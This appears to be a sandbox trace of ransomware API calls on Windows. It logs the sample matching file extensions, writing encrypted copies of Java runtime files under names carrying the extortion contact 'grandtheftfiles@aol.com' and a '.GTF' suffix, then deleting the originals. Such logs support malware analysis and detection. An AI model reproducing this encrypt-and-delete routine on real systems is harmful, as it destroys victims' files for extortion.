	[0158.731] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0158.731] lstrlenW (lpString=".rar") returned 4
	[0158.731] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0158.731] lstrlenW (lpString=".bz2") returned 4
	[0158.731] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0158.731] lstrlenW (lpString=".7z") returned 3
	[0158.731] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0158.731] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0158.731] lstrlenW (lpString=".dbf") returned 4
	[0158.731] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0158.731] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0158.732] lstrlenW (lpString=".1cd") returned 4
	[0158.732] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0158.732] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0158.732] lstrlenW (lpString=".jpg") returned 4
	[0158.732] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0158.732] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0158.732] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0158.732] lstrlenW (lpString=".doc") returned 4
	[0158.732] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0158.732] lstrlenW (lpString=".docx") returned 5
	[0158.732] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1
	[0158.732] lstrlenW (lpString=".pdf") returned 4
	[0158.732] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0158.732] lstrlenW (lpString=".xls") returned 4
	[0158.732] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0158.732] lstrlenW (lpString=".xlsx") returned 5
	[0158.732] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1
	[0158.732] lstrlenW (lpString=".ppt") returned 4
	[0158.732] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0158.732] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0158.732] lstrlenW (lpString=".zip") returned 4
	[0158.732] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0158.732] lstrlenW (lpString=".rar") returned 4
	[0158.732] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0158.732] lstrlenW (lpString=".bz2") returned 4
	[0158.732] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0158.732] lstrlenW (lpString=".7z") returned 3
	[0158.732] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0158.732] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0158.732] lstrlenW (lpString=".dbf") returned 4
	[0158.732] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0158.732] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0158.732] lstrlenW (lpString=".1cd") returned 4
	[0158.732] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0158.732] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0158.733] lstrlenW (lpString=".jpg") returned 4
	[0158.733] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0158.733] lstrcmpiW (lpString1=".ttf", lpString2=".GTF") returned 1
	[0158.733] lstrlenW (lpString="LucidaTypewriterRegular.ttf") returned 27
	[0158.733] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x490
	[0158.733] GetFileSizeEx (in: hFile=0x490, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=242700) returned 1
	[0158.733] CloseHandle (hObject=0x490) returned 1
	[0158.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf")) returned 0x20
	[0158.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0158.734] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x490
	[0158.734] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.734] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.734] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0
	[0158.735] GetLastError () returned 0x0
	[0158.735] ReadFile (in: hFile=0x490, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x3b40c, lpOverlapped=0x0) returned 1
	[0159.001] WriteFile (in: hFile=0x4c0, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x3b410, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x3b410, lpOverlapped=0x0) returned 1
	[0159.005] ReadFile (in: hFile=0x490, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0159.005] WriteFile (in: hFile=0x4c0, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x10a, lpOverlapped=0x0) returned 1
	[0159.005] SetEndOfFile (hFile=0x4c0) returned 1
	[0159.006] CloseHandle (hObject=0x4c0) returned 1
	[0159.006] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0159.006] SetEndOfFile (hFile=0x490) returned 1
	[0159.011] CloseHandle (hObject=0x490) returned 1
	[0159.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0159.012] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf")) returned 1
	[0159.013] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0159.013] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0159.013] lstrlenW (lpString=".doc") returned 4
	[0159.013] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0159.013] lstrlenW (lpString=".docx") returned 5
	[0159.013] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1
	[0159.013] lstrlenW (lpString=".pdf") returned 4
	[0159.013] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0159.013] lstrlenW (lpString=".xls") returned 4
	[0159.013] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0159.013] lstrlenW (lpString=".xlsx") returned 5
	[0159.013] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1
	[0159.013] lstrlenW (lpString=".ppt") returned 4
	[0159.013] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0159.013] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0159.013] lstrlenW (lpString=".zip") returned 4
	[0159.013] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0159.013] lstrlenW (lpString=".rar") returned 4
	[0159.013] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0159.013] lstrlenW (lpString=".bz2") returned 4
	[0159.013] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0159.013] lstrlenW (lpString=".7z") returned 3
	[0159.013] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0159.013] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0159.013] lstrlenW (lpString=".dbf") returned 4
	[0159.013] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0159.013] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0159.013] lstrlenW (lpString=".1cd") returned 4
	[0159.013] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0159.014] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0159.014] lstrlenW (lpString=".jpg") returned 4
	[0159.014] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0159.014] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0159.014] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0159.014] lstrlenW (lpString=".doc") returned 4
	[0159.014] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0159.014] lstrlenW (lpString=".docx") returned 5
	[0159.014] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1
	[0159.014] lstrlenW (lpString=".pdf") returned 4
	[0159.014] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0159.014] lstrlenW (lpString=".xls") returned 4
	[0159.014] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0159.014] lstrlenW (lpString=".xlsx") returned 5
	[0159.014] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1
	[0159.014] lstrlenW (lpString=".ppt") returned 4
	[0159.014] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0159.014] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0159.014] lstrlenW (lpString=".zip") returned 4
	[0159.014] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0159.014] lstrlenW (lpString=".rar") returned 4
	[0159.014] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0159.014] lstrlenW (lpString=".bz2") returned 4
	[0159.014] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0159.014] lstrlenW (lpString=".7z") returned 3
	[0159.014] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0159.014] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0159.014] lstrlenW (lpString=".dbf") returned 4
	[0159.014] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0159.014] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0159.014] lstrlenW (lpString=".1cd") returned 4
	[0159.014] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0159.014] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72
	[0159.014] lstrlenW (lpString=".jpg") returned 4
	[0159.014] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0159.015] lstrcmpiW (lpString1=".jar", lpString2=".GTF") returned 1
	[0159.015] lstrlenW (lpString="javaws.jar") returned 10
	[0159.015] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0159.149] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=944167) returned 1
	[0159.149] CloseHandle (hObject=0x43c) returned 1
	[0159.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar")) returned 0x20
	[0159.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0159.150] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0159.151] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0159.151] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0159.151] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0159.152] GetLastError () returned 0x0
	[0159.152] ReadFile (in: hFile=0x43c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0xe6827, lpOverlapped=0x0) returned 1
	[0159.181] WriteFile (in: hFile=0x4a4, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xe6830, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0xe6830, lpOverlapped=0x0) returned 1
	[0159.205] ReadFile (in: hFile=0x43c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0159.205] WriteFile (in: hFile=0x4a4, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0159.205] SetEndOfFile (hFile=0x4a4) returned 1
	[0159.205] CloseHandle (hObject=0x4a4) returned 1
	[0159.205] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0159.205] SetEndOfFile (hFile=0x43c) returned 1
	[0159.225] CloseHandle (hObject=0x43c) returned 1
	[0159.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0159.536] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar")) returned 1
	[0161.426] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
	[0161.426] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
	[0161.426] lstrlenW (lpString=".doc") returned 4
	[0161.426] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0161.426] lstrlenW (lpString=".docx") returned 5
	[0161.426] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0161.426] lstrlenW (lpString=".pdf") returned 4
	[0161.426] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0161.426] lstrlenW (lpString=".xls") returned 4
	[0161.426] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0161.426] lstrlenW (lpString=".xlsx") returned 5
	[0161.426] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0161.426] lstrlenW (lpString=".ppt") returned 4
	[0161.426] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0161.426] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
	[0161.426] lstrlenW (lpString=".zip") returned 4
	[0161.426] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0161.426] lstrlenW (lpString=".rar") returned 4
	[0161.426] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0161.426] lstrlenW (lpString=".bz2") returned 4
	[0161.426] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0161.426] lstrlenW (lpString=".7z") returned 3
	[0161.427] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0161.427] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
	[0161.427] lstrlenW (lpString=".dbf") returned 4
	[0161.427] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0161.427] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
	[0161.427] lstrlenW (lpString=".1cd") returned 4
	[0161.427] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0161.427] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
	[0161.427] lstrlenW (lpString=".jpg") returned 4
	[0161.427] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0161.427] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
	[0161.427] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
	[0161.427] lstrlenW (lpString=".doc") returned 4
	[0161.427] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0161.427] lstrlenW (lpString=".docx") returned 5
	[0161.427] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0161.427] lstrlenW (lpString=".pdf") returned 4
	[0161.427] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0161.427] lstrlenW (lpString=".xls") returned 4
	[0161.427] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0161.427] lstrlenW (lpString=".xlsx") returned 5
	[0161.427] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0161.427] lstrlenW (lpString=".ppt") returned 4
	[0161.427] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0161.427] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
	[0161.427] lstrlenW (lpString=".zip") returned 4
	[0161.427] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0161.427] lstrlenW (lpString=".rar") returned 4
	[0161.427] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0161.427] lstrlenW (lpString=".bz2") returned 4
	[0161.427] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0161.427] lstrlenW (lpString=".7z") returned 3
	[0161.427] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0161.427] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
	[0161.427] lstrlenW (lpString=".dbf") returned 4
	[0161.428] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0161.428] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
	[0161.428] lstrlenW (lpString=".1cd") returned 4
	[0161.428] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0161.428] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 49
	[0161.428] lstrlenW (lpString=".jpg") returned 4
	[0161.428] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0161.428] lstrcmpiW (lpString1=".jar", lpString2=".GTF") returned 1
	[0161.428] lstrlenW (lpString="jsse.jar") returned 8
	[0161.428] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0161.741] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=584576) returned 1
	[0161.741] CloseHandle (hObject=0x4b4) returned 1
	[0161.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar")) returned 0x20
	[0161.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0161.883] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0162.228] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.228] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.228] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0162.229] GetLastError () returned 0x0
	[0162.229] ReadFile (in: hFile=0x530, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x8eb80, lpOverlapped=0x0) returned 1
	[0162.251] WriteFile (in: hFile=0x53c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x8eb90, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x8eb90, lpOverlapped=0x0) returned 1
	[0162.261] ReadFile (in: hFile=0x530, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.261] WriteFile (in: hFile=0x53c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0162.261] SetEndOfFile (hFile=0x53c) returned 1
	[0162.261] CloseHandle (hObject=0x53c) returned 1
	[0162.262] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.262] SetEndOfFile (hFile=0x530) returned 1
	[0162.283] CloseHandle (hObject=0x530) returned 1
	[0162.283] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0162.546] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar")) returned 1
	[0162.558] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0162.558] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0162.558] lstrlenW (lpString=".doc") returned 4
	[0162.558] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0162.558] lstrlenW (lpString=".docx") returned 5
	[0162.570] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1
	[0162.570] lstrlenW (lpString=".pdf") returned 4
	[0162.570] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0162.570] lstrlenW (lpString=".xls") returned 4
	[0162.570] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0162.570] lstrlenW (lpString=".xlsx") returned 5
	[0162.570] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1
	[0162.570] lstrlenW (lpString=".ppt") returned 4
	[0162.570] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0162.570] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0162.570] lstrlenW (lpString=".zip") returned 4
	[0162.570] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0162.570] lstrlenW (lpString=".rar") returned 4
	[0162.570] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0162.570] lstrlenW (lpString=".bz2") returned 4
	[0162.570] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
